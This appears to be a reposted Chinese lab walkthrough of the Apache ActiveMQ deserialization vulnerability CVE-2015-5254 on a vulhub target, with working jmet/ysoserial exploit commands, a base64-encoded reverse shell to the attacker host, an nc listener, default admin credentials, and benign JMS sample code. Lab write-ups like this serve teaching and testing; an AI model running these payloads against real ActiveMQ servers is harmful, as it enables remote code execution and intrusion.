概述
漏洞原理
-
漏洞介绍:
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
MQ(Message Queue):消息队列/消息中间件。消息服务将消息放在队列/主题中,在
合适时候发给接收者。发送和接收是异步的(发送者和接收者的生命周期没有必然关系)。- 队列:消息存在队列中,发送和接收都是异步的
- 主题:在发布pub/订阅sub模式下,发送消息给固定接收者(订阅过主题的),一对多的通信方式
MQ解决的问题:
- 解耦:新模块接入时,代码改动最小
- 消峰:设置流量缓冲池,让后端系统按照自身吞吐能力消费,不被冲垮
- 异步:强弱依赖梳理能将非关键调用链路的操作异步化,并提升整体系统的吞吐能力
产品种类:Kafka, RabbitMQ, RocketMQ, ActiveMQ
-
影响版本:Apache ActiveMQ version 5.13.0以前的5.x版本。
-
漏洞原因:该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
-
利用工具:
反弹shell:https://www.revshells.com/ (自带base64编码)
base64:https://base64.supfree.net/ (别用,辣鸡!!!) or http://tools.jb51.net/tools/base64_decode-utf8.php
jmet:https://github.com/matthiaskaiser/jmet
- 利用限制:
- ActiveMQ版本不高于5.13.0
- 利用该漏洞上传payload需要人为触发才能执行,大概意思是需要执行该漏洞上传的payload才行
- 一种选择是该组件存在弱口令密码,可以使攻击者直接进入管理后台执行,执行payload的时间由攻击者掌握;
- 第二种选择就是该组件的管理员在进行后台管理时触发了payload,但这样执行payload的时间由管理员掌握
靶机实操
漏洞环境
ssh 连接靶场,进入靶场目录,打开该漏洞环境,并启动。
cd /mnt/vulhub-master
cd /activemq/CVE-2015-5254
docker-compose up -d
环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161
即可看到web管理页面,不过这个漏洞理论上是不需要web的。
实验配置:
靶机地址:192.11.23.2:8161
攻击机:192.11.23.234
(kali)
复现过程:
漏洞利用过程如下:
- 构造可执行命令的java序列化对象(ysoserial集合了各种java反序列化payload,而jmet集成了ysoserial)
- 将序列化对象作为一个消息,发送给目标61616工作端口
- 访问web管理页面,读取消息,触发漏洞(ActiveMQ Web管理页面默认账号密码是admin:admin)
使用jmet进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
ysoserial是一款java反序列化利用工具。
(1)kali上执行命令
java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.11.23.2 61616
-Q指定队列消息名,-I选择要装载的JMS客户端,这里是ActiveMQ,-s是选择ysoserial payload,-Y指定具体的命令,-Yp指定payload类型,其后分别是ActiveMQ所在机器的ip及工作端口 所以这条命令是使用ROME payload把 执行 touch /success 命令序列化后作为名为myevent的消息发送给ActiveMQ
执行此处命令后会给目标ActiveMQ加一个名为event的队列,可通过点击事件,触发远程命令.
此时只要在控制台点击查看该消息,就会在apache-activemq-5.11.1/tmp下面新建一个名为sucess的文件(如果看到该文件,说明在发消息的时候发送的恶意代码"touch /tmp/sucess"执行成功,漏洞利用成功)
(2)点击查看消息
(3)进入靶机bash
docker-compose exec activemq bash
cd /tmp
ls
如果看到该文件,说明在发消息的时候发送的恶意代码"touch /tmp/sucess"执行成功,漏洞利用成功
(4)反弹shell
去前面提到的在线反弹shell生成网站,生成一个反弹shell代码。
sh -i >& /dev/tcp/192.11.23.234/9001 0>&1
再进行base64加密:
c2glMjAtaSUyMCUzRSUyNiUyMC9kZXYvdGNwLzE5Mi4xMS4yMy4yMzQvOTAwMSUyMDAlM0UlMjYx(错的)
c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjExLjIzLjIzNC85MDAxIDA+JjE=
得到反弹shell的命令:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjExLjIzLjIzNC85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.11.23.2 61616
- 首先,在kali开启监听:
nc -lvnp 9001
(命令在反弹shell 网站右边) - 其次,在kali上再开一个终端,执行最终的反弹shell命令。
我弹了100遍也没弹过来,一定是靶场问题(甩锅.jpg)
ps,后面发现原因,base64编码错误,有的网站会先url编码后,再base64.导致结果错误,payload不执行。(ref)
原payload
sh -i >& /dev/tcp/192.11.23.234/9001 0>&1
经过那个sb网站的base64(错误编码):
c2glMjAtaSUyMCUzRSUyNiUyMC9kZXYvdGNwLzE5Mi4xMS4yMy4yMzQvOTAwMSUyMDAlM0UlMjYx
上其他网站解码:
sh%20-i%20%3E%26%20/dev/tcp/192.11.23.234/9001%200%3E%261
发现它对payload,先进行了url编码,再进行base64编码,导致payload不能执行。
修正payload后,成功弹回shell。
JAVA源代码测试ActiveMQ
https://blog.csdn.net/weixin_44232093/article/details/124849400
https://www.cnblogs.com/sallyzhang/p/12289983.html
生产者产生消息,加入队列
import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;
public class JmsProduce {
public static final String ACTIVEMQ_URL="tcp://192.11.23.2:61616";
public static final String QUEUE_NAME="queue01";
public static void main(String[] args) throws JMSException {
//采用默认用户名和密码
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
Connection connection = activeMQConnectionFactory.createConnection();
connection.start();
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Queue queue = session.createQueue(QUEUE_NAME);
MessageProducer messageProducer = session.createProducer(queue);
//使用messageProducer生产3条消息发送到MQ队列
for (int i=0;i<3;i++){
TextMessage textMessage=session.createTextMessage("msg----"+i);
messageProducer.send(textMessage);
}
messageProducer.close();
session.close();
connection.close();
System.out.println("******消息发布到MQ完成******");
}
}
消费者从队列中读取消息:
import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;
public class JmsConsumer {
public static final String ACTIVEMQ_URL = "tcp://localhost:61616";
public static final String QUEUE_NAME = "queue01";
public static void main(String[] args) throws JMSException {
//采用默认用户名和密码
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
Connection connection = activeMQConnectionFactory.createConnection();
connection.start();
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Queue queue = session.createQueue(QUEUE_NAME);
MessageConsumer messageConsumer = session.createConsumer(queue);
while (true) {
TextMessage textMessage = (TextMessage) messageConsumer.receive();
if (textMessage != null) {
System.out.println("******接收道消息:" + textMessage.getText());
} else {
break;
}
}
messageConsumer.close();
session.close();
connection.close();
}
}
最后
以上就是寒冷小蚂蚁为你收集整理的ActiveMQ 反序列化漏洞(CVE-2015-5254)的全部内容,希望文章能够帮你解决ActiveMQ 反序列化漏洞(CVE-2015-5254)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复